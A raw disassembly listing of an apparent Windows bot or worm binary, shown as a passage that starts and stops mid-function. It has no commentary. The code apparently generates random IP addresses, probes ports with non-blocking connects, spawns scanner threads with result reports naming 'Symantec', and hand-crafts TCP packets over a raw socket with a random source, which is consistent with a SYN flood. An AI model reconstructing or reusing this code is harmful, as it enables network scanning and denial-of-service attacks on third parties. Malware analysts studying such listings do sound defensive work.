sub_40AB56+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40ABEC mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40ABBA ; --------------------------------------------------------------------------- loc_40ABA7: ; CODE XREF: sub_40AB56+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40AC84 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40ABBA: ; CODE XREF: sub_40AB56+37j ; sub_40AB56+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40AB60 ; --------------------------------------------------------------------------- loc_40ABC0: ; CODE XREF: sub_40AB56+Ej ; sub_40AB56+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40ABD0 cmp eax, 1 jnz short loc_40ABE7 inc esi mov [ebp+arg_0], esi jmp short loc_40ABC0 ; --------------------------------------------------------------------------- loc_40ABD0: ; CODE XREF: sub_40AB56+6Dj cmp eax, 1 jnz short loc_40ABE7 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40ABE7 cmp byte ptr [esi], 0 jnz short loc_40ABE7 push 1 pop eax jmp short loc_40ABE9 ; --------------------------------------------------------------------------- loc_40ABE7: ; CODE XREF: sub_40AB56+72j ; sub_40AB56+7Dj ... xor eax, eax loc_40ABE9: ; CODE XREF: sub_40AB56+8Fj pop esi pop ebp retn sub_40AB56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ABEC proc near ; CODE XREF: sub_40AB56+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40AC0D inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40AC0D: ; CODE XREF: sub_40ABEC+19j push ebx push esi loc_40AC0F: ; CODE XREF: sub_40ABEC+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40AC1D cmp [ebp+var_4], eax jnz short loc_40AC69 loc_40AC1D: ; CODE XREF: sub_40ABEC+2Aj test edi, edi jnz short loc_40AC5E cmp bl, 2Dh jnz short loc_40AC52 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40AC52 cmp al, 5Dh jz short loc_40AC52 cmp [ebp+var_4], edi jnz short loc_40AC52 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40AC5E cmp bl, al jg short loc_40AC5E push 1 mov [edx], esi pop edi jmp short loc_40AC5E ; --------------------------------------------------------------------------- loc_40AC52: ; CODE XREF: sub_40ABEC+38j ; sub_40ABEC+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40AC5E push 1 pop edi loc_40AC5E: ; CODE XREF: sub_40ABEC+33j ; sub_40ABEC+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40AC0F ; --------------------------------------------------------------------------- loc_40AC69: ; CODE XREF: sub_40ABEC+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40AC76 mov ecx, eax sub ecx, edi mov edi, ecx loc_40AC76: ; CODE XREF: sub_40ABEC+82j cmp edi, eax jnz short loc_40AC7F mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40AC7F: ; CODE XREF: sub_40ABEC+8Cj mov eax, edi pop edi leave retn sub_40ABEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC84 proc near ; CODE XREF: sub_40AB56+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40ACA0: ; CODE XREF: sub_40AC84+3Aj cmp [eax], bl jz short loc_40ACC0 mov cl, [ecx] cmp cl, 3Fh jz short loc_40ACB5 cmp cl, 2Ah jnz short loc_40ACC0 cmp cl, 3Fh jnz short loc_40ACB8 loc_40ACB5: ; CODE XREF: sub_40AC84+25j inc eax mov [edi], eax loc_40ACB8: ; CODE XREF: sub_40AC84+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40ACA0 ; --------------------------------------------------------------------------- loc_40ACC0: ; CODE XREF: sub_40AC84+1Ej ; sub_40AC84+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40ACCB inc dword ptr [esi] jmp short loc_40ACC0 ; --------------------------------------------------------------------------- loc_40ACCB: ; CODE XREF: sub_40AC84+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40ACEC mov edx, [esi] cmp [edx], bl jz short loc_40ACDD xor eax, eax jmp short loc_40AD4C ; --------------------------------------------------------------------------- loc_40ACDD: ; CODE XREF: sub_40AC84+53j cmp cl, bl jnz short loc_40ACEC mov ecx, [esi] cmp [ecx], bl jnz short loc_40ACEC push 1 pop eax jmp short loc_40AD4C ; --------------------------------------------------------------------------- loc_40ACEC: ; CODE XREF: sub_40AC84+4Dj ; sub_40AC84+5Bj ... push eax push dword ptr [esi] call sub_40AB56 pop ecx test eax, eax pop ecx jnz short loc_40AD36 loc_40ACFA: ; CODE XREF: sub_40AC84+B0j inc dword ptr [edi] mov eax, [edi] loc_40ACFE: ; CODE XREF: sub_40AC84+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40AD16 cmp cl, 5Bh jz short loc_40AD16 cmp dl, bl jz short loc_40AD16 inc eax mov [edi], eax jmp short loc_40ACFE ; --------------------------------------------------------------------------- loc_40AD16: ; CODE XREF: sub_40AC84+82j ; sub_40AC84+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40AD2D push eax push dword ptr [esi] call sub_40AB56 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AD32 ; --------------------------------------------------------------------------- loc_40AD2D: ; CODE XREF: sub_40AC84+96j mov [ebp+var_4], ebx xor eax, eax loc_40AD32: ; CODE XREF: sub_40AC84+A7j cmp eax, ebx jnz short loc_40ACFA loc_40AD36: ; CODE XREF: sub_40AC84+74j mov eax, [edi] cmp [eax], bl jnz short loc_40AD49 mov eax, [esi] cmp [eax], bl jnz short loc_40AD49 mov [ebp+var_4], 1 loc_40AD49: ; CODE XREF: sub_40AC84+B6j ; sub_40AC84+BCj mov eax, [ebp+var_4] loc_40AD4C: ; CODE XREF: sub_40AC84+57j ; sub_40AC84+66j pop edi pop esi pop ebx leave retn sub_40AC84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD51 proc near ; CODE XREF: sub_401CC1+2668p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_449624 push eax xor ebx, ebx call sub_41B740 cmp dword_4492A8, ebx pop ecx pop ecx mov edi, 200h jz short loc_40ADC3 push esi mov esi, offset dword_4492B0 loc_40AD84: ; CODE XREF: sub_40AD51+6Fj mov eax, [esi] test eax, eax jbe short loc_40ADB9 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_449644 push eax call sub_41B740 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C7A0 add esp, 1Ch loc_40ADB9: ; CODE XREF: sub_40AD51+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40AD84 pop esi loc_40ADC3: ; CODE XREF: sub_40AD51+2Bj push dword_4E05CC call sub_4187BE push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B740 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C7A0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 lea eax, [ebp+var_200] push eax call sub_41458A add esp, 38h pop edi pop ebx leave retn sub_40AD51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE1F proc near ; CODE XREF: sub_401CC1+2652p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4E33C0 mov ecx, dword_4E33BC push esi push dword_4E05CC lea esi, [ecx+eax] call sub_4187BE push eax push esi push dword_4E33C0 lea eax, [ebp+var_200] push dword_4E33BC push offset unk_449664 push eax call sub_41B740 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 lea eax, [ebp+var_200] push eax call sub_41458A add esp, 34h pop esi leave retn sub_40AE1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE8A proc near ; CODE XREF: sub_401CC1+263Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4E05CC call sub_4187BE push eax lea eax, [ebp+var_200] push dword_4E361C push offset unk_4496AC push eax call sub_41B740 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 lea eax, [ebp+var_200] push eax call sub_41458A add esp, 2Ch leave retn sub_40AE8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEDE proc near ; CODE XREF: sub_401CC1+2626p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BC60 push edi lea eax, [ebp+var_800] push offset dword_4496D8 push eax call sub_41B740 cmp dword_4492A8, 0 pop ecx pop ecx mov edi, 800h jz short loc_40AF4A push esi mov esi, offset aSymantec ; "Symantec" loc_40AF13: ; CODE XREF: sub_40AEDE+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_4496F4 push eax call sub_41B740 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C7A0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40AF13 pop esi loc_40AF4A: ; CODE XREF: sub_40AEDE+2Dj push dword_4E05CC call sub_4187BE push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B740 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C7A0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 lea eax, [ebp+var_800] push eax call sub_41458A add esp, 34h pop edi leave retn sub_40AEDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFA4 proc near ; DATA XREF: sub_401CC1+2B4Ao var_3F0 = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_134 = byte ptr -134h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+var_134] push eax call dword_4E08DC xor edi, edi mov [ebp+var_8], eax cmp dword_4492A8, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40B102 mov ebx, offset dword_4492A8 mov eax, ebx loc_40AFF5: ; CODE XREF: sub_40AFA4+158j push [ebp+var_1C] push dword ptr [eax] push [ebp+var_8] call sub_40B786 add esp, 0Ch cmp eax, 1 jnz loc_40B0F2 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp+var_134] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp+var_3F0] push offset unk_449714 push eax call sub_41B740 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_408EB9 lea eax, [ebp+var_3F0] push eax call sub_41458A lea eax, [ebp+var_134] push eax lea eax, [ebp+var_1EC] push eax call sub_41B740 lea eax, [ebp+var_15C] push esi push eax call sub_41B740 add esp, 3Ch cmp [ebp+var_A4], 0 lea eax, [ebp+var_A4] jnz short loc_40B08D lea eax, [ebp+var_124] loc_40B08D: ; CODE XREF: sub_40AFA4+E1j push eax lea eax, [ebp+var_1DC] push eax call sub_41B740 mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [ebx] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40B0F2: ; CODE XREF: sub_40AFA4+64j inc [ebp+arg_0] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40AFF5 loc_40B102: ; CODE XREF: sub_40AFA4+44j push [ebp+var_4] lea eax, [ebp+var_134] push eax lea eax, [ebp+var_3F0] push offset unk_449744 push eax call sub_41B740 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_408EB9 lea eax, [ebp+var_3F0] push eax call sub_41458A push [ebp+var_18] call sub_40AB19 add esp, 2Ch push edi call dword_4F1388 ; ExitThread sub_40AFA4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B155 proc near ; CODE XREF: sub_401CC1+1F83p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40AA45 test eax, eax pop ecx jle short loc_40B191 mov eax, [ebp+arg_C] push dword_4E0A00[eax*8] call dword_4E0928 push eax lea eax, [ebp+var_200] push offset unk_449778 push eax call sub_41B740 add esp, 0Ch jmp short loc_40B1A4 ; --------------------------------------------------------------------------- loc_40B191: ; CODE XREF: sub_40B155+13j lea eax, [ebp+var_200] push offset unk_449794 push eax call sub_41B740 pop ecx pop ecx loc_40B1A4: ; CODE XREF: sub_40B155+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 lea eax, [ebp+var_200] push eax call sub_41458A add esp, 18h leave retn sub_40B155 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1CC proc near ; CODE XREF: sub_40BC04+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40B69E shl eax, 6 xor ebx, ebx cmp dword_4492B4[eax], ebx jz loc_40B69E push 5 call sub_40AA45 test eax, eax pop ecx jnz loc_40B453 mov eax, dword_43A078 push edi mov esi, offset dword_4E2ABC push 104h push esi push ebx mov dword_4E2CCC, eax mov dword_4E2CC8, ebx call dword_4F132C ; GetModuleFileNameA mov edi, offset byte_43A0E8 push 103h push edi push offset dword_4E2BC0 call sub_41B1F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4E2AB8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4E2D50, eax jnz short loc_40B27F lea eax, [ebp+arg_10] push eax push offset dword_4E2CD0 call sub_41B1F0 add esp, 0Ch mov dword_4E2D54, 1 jmp short loc_40B299 ; --------------------------------------------------------------------------- loc_40B27F: ; CODE XREF: sub_40B1CC+94j lea eax, [ebp+arg_90] push eax push offset dword_4E2CD0 call sub_41B1F0 add esp, 0Ch mov dword_4E2D54, ebx loc_40B299: ; CODE XREF: sub_40B1CC+B1j push esi lea eax, [ebp+var_204] push dword_4E2CCC push offset unk_4497B4 push eax call sub_41B740 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40A7FD add esp, 1Ch mov dword_4E2CC4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E2AB8 push offset sub_4112A8 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, dword_4E2CC4 imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40B307 loc_40B2F5: ; CODE XREF: sub_40B1CC+139j cmp dword_4E2D58, ebx jnz short loc_40B322 push 32h call dword_4F1334 ; Sleep jmp short loc_40B2F5 ; --------------------------------------------------------------------------- loc_40B307: ; CODE XREF: sub_40B1CC+127j call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_4497E8 push eax call sub_41B740 add esp, 0Ch loc_40B322: ; CODE XREF: sub_40B1CC+12Fj lea eax, [ebp+var_204] push eax call sub_41458A mov eax, dword_4E05C8 mov esi, offset dword_4E2D64 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4E2F74, eax mov dword_4E2F70, ebx call dword_4F132C ; GetModuleFileNameA push 103h push edi push offset dword_4E2E68 call sub_41B1F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4E2D60, eax mov eax, [ebp+arg_138] pop edi mov dword_4E2FF8, eax push 7Fh jnz short loc_40B3A3 lea eax, [ebp+arg_10] push eax push offset dword_4E2F78 call sub_41B1F0 add esp, 0Ch mov dword_4E2FFC, 1 jmp short loc_40B3BD ; --------------------------------------------------------------------------- loc_40B3A3: ; CODE XREF: sub_40B1CC+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4E2F78 call sub_41B1F0 add esp, 0Ch mov dword_4E2FFC, ebx loc_40B3BD: ; CODE XREF: sub_40B1CC+1D5j push esi lea eax, [ebp+var_204] push dword_4E2F74 push offset unk_44981C push eax call sub_41B740 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40A7FD add esp, 1Ch mov dword_4E2F6C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E2D60 push offset sub_40E4A5 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, dword_4E2F6C imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40B42B loc_40B419: ; CODE XREF: sub_40B1CC+25Dj cmp dword_4E3000, ebx jnz short loc_40B446 push 32h call dword_4F1334 ; Sleep jmp short loc_40B419 ; --------------------------------------------------------------------------- loc_40B42B: ; CODE XREF: sub_40B1CC+24Bj call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_449850 push eax call sub_41B740 add esp, 0Ch loc_40B446: ; CODE XREF: sub_40B1CC+253j lea eax, [ebp+var_204] push eax call sub_41458A pop ecx loc_40B453: ; CODE XREF: sub_40B1CC+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_4492BC[ecx], ebx jz loc_40B57C push 7 call sub_40AA45 test eax, eax pop ecx jnz loc_40B576 mov eax, dword_4E3614 cmp [ebp+arg_90], bl mov dword_4E2A24, eax mov eax, [ebp+arg_110] mov dword_4E2A18, eax mov eax, [ebp+arg_138] mov dword_4E2A20, ebx mov dword_4E2AA8, eax push 7Fh jnz short loc_40B4C7 lea eax, [ebp+arg_10] push eax push offset dword_4E2A28 call sub_41B1F0 add esp, 0Ch mov dword_4E2AAC, 1 jmp short loc_40B4E1 ; --------------------------------------------------------------------------- loc_40B4C7: ; CODE XREF: sub_40B1CC+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4E2A28 call sub_41B1F0 add esp, 0Ch mov dword_4E2AAC, ebx loc_40B4E1: ; CODE XREF: sub_40B1CC+2F9j push dword_4E2A24 lea eax, [ebp+var_204] push offset unk_449884 push eax call sub_41B740 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40A7FD add esp, 18h mov dword_4E2A1C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E2A18 push offset sub_40E203 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, dword_4E2A1C imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40B54E loc_40B53C: ; CODE XREF: sub_40B1CC+380j cmp dword_4E2AB0, ebx jnz short loc_40B569 push 32h call dword_4F1334 ; Sleep jmp short loc_40B53C ; --------------------------------------------------------------------------- loc_40B54E: ; CODE XREF: sub_40B1CC+36Ej call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_4498B4 push eax call sub_41B740 add esp, 0Ch loc_40B569: ; CODE XREF: sub_40B1CC+376j lea eax, [ebp+var_204] push eax call sub_41458A pop ecx loc_40B576: ; CODE XREF: sub_40B1CC+2A8j mov eax, [ebp+arg_130] loc_40B57C: ; CODE XREF: sub_40B1CC+298j shl eax, 6 cmp dword_4492B8[eax], ebx jz loc_40B69E push 3 call sub_40AA45 test eax, eax pop ecx jnz loc_40B69E mov esi, offset dword_4E3294 push 104h push esi push ebx call dword_4F132C ; GetModuleFileNameA push 5Ch push esi call sub_41C290 pop ecx cmp eax, ebx pop ecx jz short loc_40B5BD mov [eax], bl loc_40B5BD: ; CODE XREF: sub_40B1CC+3EDj mov eax, dword_43A07C mov dword_4E33AC, ebx mov dword_4E3398, eax lea eax, [ebp+arg_10] push eax push offset dword_4E300C call sub_41B740 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4E3008, eax mov ecx, [ebp+arg_138] push esi push dword_4E3398 mov dword_4E33A4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4E33A8, ecx call sub_40A019 pop ecx push eax lea eax, [ebp+var_204] push offset unk_4498EC push eax call sub_41B740 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40A7FD add esp, 20h mov dword_4E33A0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E3008 push offset sub_40EBF0 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, dword_4E33A0 imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40B676 loc_40B664: ; CODE XREF: sub_40B1CC+4A8j cmp dword_4E33B4, ebx jnz short loc_40B691 push 32h call dword_4F1334 ; Sleep jmp short loc_40B664 ; --------------------------------------------------------------------------- loc_40B676: ; CODE XREF: sub_40B1CC+496j call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_449928 push eax call sub_41B740 add esp, 0Ch loc_40B691: ; CODE XREF: sub_40B1CC+49Ej lea eax, [ebp+var_204] push eax call sub_41458A pop ecx loc_40B69E: ; CODE XREF: sub_40B1CC+14j ; sub_40B1CC+25j ... pop esi pop ebx leave retn sub_40B1CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6A2 proc near ; CODE XREF: sub_40B9F0:loc_40BA61p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4E0A00h[eax*8] lea eax, [ebp+arg_0] push esi push eax call near ptr sub_41C8D0 add esp, 0Ch push [ebp+arg_0] call dword_4E07D8 inc eax push eax mov [ebp+arg_0], eax call dword_4E089C mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call near ptr sub_41C8D0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40B6A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6EA proc near ; CODE XREF: sub_40B9F0+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_418D00 cmp eax, 0Fh pop ecx jbe short loc_40B712 xor eax, eax jmp short loc_40B783 ; --------------------------------------------------------------------------- loc_40B712: ; CODE XREF: sub_40B6EA+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CC10 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40B73F call sub_41B850 mov [ebp+var_C], eax loc_40B73F: ; CODE XREF: sub_40B6EA+4Bj cmp [ebp+var_8], esi jnz short loc_40B74C call sub_41B850 mov [ebp+var_8], eax loc_40B74C: ; CODE XREF: sub_40B6EA+58j cmp [ebp+var_4], esi jnz short loc_40B759 call sub_41B850 mov [ebp+var_4], eax loc_40B759: ; CODE XREF: sub_40B6EA+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40B765 call sub_41B850 loc_40B765: ; CODE XREF: sub_40B6EA+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4E0A00[ecx*8], eax loc_40B783: ; CODE XREF: sub_40B6EA+26j pop esi leave retn sub_40B6EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B786 proc near ; CODE XREF: sub_40AFA4+59p ; sub_40B9F0+B8p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4E091C mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40B7AF xor eax, eax jmp short loc_40B81E ; --------------------------------------------------------------------------- loc_40B7AF: ; CODE XREF: sub_40B786+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4E08A0 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4E0938 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4E084C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4E0888 push esi mov edi, eax call dword_4E0934 xor eax, eax cmp edi, ebx setnle al loc_40B81E: ; CODE XREF: sub_40B786+27j pop edi pop esi pop ebx leave retn sub_40B786 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10110h call sub_41BC60 push ebx push esi push edi mov edi, 2649h push edi call dword_4E08A0 push dword ptr [ebp+10h] mov [ebp-28h], ax call dword_4E08A0 mov [ebp-26h], ax call sub_41B850 xor ebx, ebx push 200h mov [ebp-24h], eax mov [ebp-20h], ebx mov [ebp-1Ch], bx mov [ebp-0Ch], bx mov word ptr [ebp-1Ah], 5 mov [ebp-18h], bx mov word ptr [ebp-16h], 1 mov [ebp-14h], bx mov [ebp-12h], bx mov [ebp-10h], bx mov [ebp-0Eh], bx call dword_4E08A0 mov esi, [ebp+0Ch] mov [ebp-0Ah], ax mov eax, [ebp+8] push 24h mov [ebp-8], bx mov [ebp-6], bx mov [ebp-58h], eax mov [ebp-54h], esi mov [ebp-50h], bl mov byte ptr [ebp-4Fh], 6 call dword_4E08A0 mov [ebp-4Eh], ax lea eax, [ebp-28h] push 24h push eax lea eax, [ebp-4Ch] push eax call near ptr sub_41C8D0 lea eax, [ebp-58h] push 20h push eax call sub_40A072 mov [ebp-8], ax push 10h lea eax, [ebp-38h] push ebx push eax call sub_41B190 add esp, 20h mov word ptr [ebp-38h], 2 push dword ptr [ebp+10h] call dword_4E08A0 push 6 push 3 push 2 mov [ebp-36h], ax mov [ebp-34h], esi mov dword ptr [ebp-4], 10h call dword_4E091C mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40B922 push offset aSocketOpenFail ; "socket open failed" jmp loc_40B9E3 ; --------------------------------------------------------------------------- loc_40B922: ; CODE XREF: .nsp0:0040B916j push dword ptr [ebp-4] lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-28h] push 24h push eax push esi call dword_4E0900 cmp eax, 14h mov [ebp+10h], eax jz short loc_40B96B call dword_4E083C push eax lea eax, [ebp-0D8h] push dword ptr [ebp+10h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push eax call sub_41B740 lea eax, [ebp-0D8h] push eax call sub_41458A add esp, 14h jmp short loc_40B9B4 